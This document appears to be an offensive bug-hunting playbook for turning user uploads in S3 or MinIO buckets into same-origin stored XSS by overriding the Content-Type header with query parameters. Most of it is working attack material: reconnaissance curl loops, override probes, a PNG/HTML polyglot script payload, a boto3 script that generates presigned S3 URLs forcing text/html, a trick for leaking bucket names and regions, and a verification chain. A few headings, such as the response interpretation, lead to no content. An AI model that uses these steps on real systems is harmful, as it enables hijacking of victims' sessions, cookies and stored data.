S3 Minio Content Type Xss

S3/MinIO Content-Type Override to Stored XSS

Exploit public cloud storage buckets (S3, MinIO, and compatible) by overriding the Content-Type response header via query parameters. When a target serves user-uploaded files from its own origin (e.g., cdn.target.com or target.com/uploads/), a successful override turns a stored HTML/JS payload into same-origin stored XSS — bypassing every upload-time validation the application performed.

When to Use

• Target serves user-uploaded files (images, avatars, attachments) from a public bucket.
• Files are served under the target's own domain or subdomain (not a random storage domain).
• Upload validation appears solid (extension whitelist, magic byte check, forced Content-Type) — the override bypasses all of these at serve time, not upload time.
• The bucket URL responds to ?response-content-type= with a changed Content-Type.
• The bucket returns an AWS SignatureDoesNotMatch error leaking the real bucket host and region.

Prerequisites

• terminal with curl and python3.
• Identify at least one public object URL served from storage.
• For S3 exploitation: your own AWS account credentials (free tier sufficient).

Quick Detection

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# Test if an object's Content-Type can be overridden (MinIO and compatible)
curl --max-time 30 --connect-timeout 10 -skI "https://cdn.target.com/uploads/avatar123.png?response-content-type=text/html" | grep -i content-type

# If you get 'text/html', the override works — proceed to exploitation
# If you get 'Request specific response headers cannot be used for anonymous GET requests', it's S3 — use signed URL approach

Procedure

Phase 1 — Identify Public Objects

Find uploaded objects served publicly:

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# Check common upload paths
for path in /uploads/ /media/ /static/uploads/ /cdn/ /files/ /assets/img/ /storage/; do
  curl --max-time 30 --connect-timeout 10 -skI "https://target.com${path}" | grep -E "HTTP|Content-Type|x-amz"
done

# Look for S3/MinIO signatures in URLs
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/" | grep -Eo '(?:s3\.|amazonaws\.|minio|storage\.googleapis)[^"'\''\s]{5,60}'

Phase 2 — Test Content-Type Override

Append the query parameter and check the response:

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OBJECT_URL="https://cdn.target.com/uploads/avatar123.png"

# Test override
curl --max-time 30 --connect-timeout 10 -skI "${OBJECT_URL}?response-content-type=text/html" | grep -i content-type

Response interpretation:

Phase 3 — MinIO Exploitation (Anonymous Override)

Upload a file containing an HTML/JS payload disguised as a valid image:

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# Craft a polyglot file: valid PNG header + HTML payload
payload = b'\x89PNG\r\n\x1a\n' + b'<script>alert(document.domain)</script>'

Upload through the application's normal upload flow. The app validates the PNG header and accepts it. Then serve it:

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# The browser renders the file as HTML, executing the script
curl --max-time 30 --connect-timeout 10 -sk "https://cdn.target.com/uploads/evil.png?response-content-type=text/html"

Additional MinIO override parameters to test:

Phase 4 — S3 Exploitation (Signed Override)

S3 rejects anonymous overrides. Re-sign the request with your own AWS credentials:

pythonCopy code
import boto3
from botocore.client import Config

def generate_s3_xss_url(bucket, key, region, endpoint_url, content_type="text/html"):
    s3 = boto3.client(
        "s3",
        region_name=region,
        endpoint_url=endpoint_url,
        config=Config(signature_version="s3v4", s3={"addressing_style": "virtual"}),
    )
    url = s3.generate_presigned_url(
        "get_object",
        Params={"Bucket": bucket, "Key": key, "ResponseContentType": content_type},
        ExpiresIn=3600,
    )
    return url

# Usage: python3 s3_xss.py <bucket> <key> <region> <endpoint> [content-type]
# Example: python3 s3_xss.py target-bucket uploads/avatar.png us-east-1 https://s3.us-east-1.amazonaws.com text/html

If the bucket name is unknown, trigger a SignatureDoesNotMatch error by signing with a wrong host or region. The error response leaks the canonical request containing the real bucket host and region.

Phase 5 — Verify Impact

The XSS is same-origin only if the object URL is under the target's domain. Verify:

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# Check if the object is served under the target's origin
echo "$OBJECT_URL" | grep -qE "^https?://(www\.)?target\.com" && echo "SAME-ORIGIN XSS" || echo "Cross-origin — lower impact"

# Confirm JavaScript execution context
# The payload runs with access to cookies, localStorage, and API endpoints on the target's origin

Pitfalls

• Cross-origin buckets have low impact. If the bucket is on s3.amazonaws.com or a random storage domain, the XSS executes in an isolated origin with no access to the target's session.
• The override must be supported. Not all storage systems honor response override parameters. S3-compatible systems other than AWS/MinIO may use different parameter names.
• Upload validation still matters for payload delivery. The file must pass upload-time checks to reach the bucket. Use polyglot files that satisfy both the validator and the browser.
• The signed S3 URL expires. Generated presigned URLs have a configurable expiration. The XSS link stops working after expiry.
• CloudFront/CDN may cache the original Content-Type. If a CDN sits in front of the bucket, it may ignore query parameter overrides. Test both the CDN URL and the direct bucket URL.

Verification

1. Confirm the override works: curl -skI "${URL}?response-content-type=text/html" returns Content-Type: text/html.
2. Upload a test payload through the application's normal upload flow.
3. Access the uploaded file with the override parameter in a browser — verify the JavaScript executes.
4. Confirm same-origin: the object URL shares the target's domain (not a third-party storage domain).
5. Document the full chain: upload bypass technique → override parameter → same-origin XSS.

Related Skills

• hunt-xss — General XSS detection methodology and bypass tables.
• hunt-cloud-misconfig — Public bucket discovery and cloud storage misconfigurations.
• firebase-supabase-attack — Firebase/Supabase storage bucket exploitation.
• js-secrets-extraction — Finding bucket names and storage endpoints in JavaScript bundles.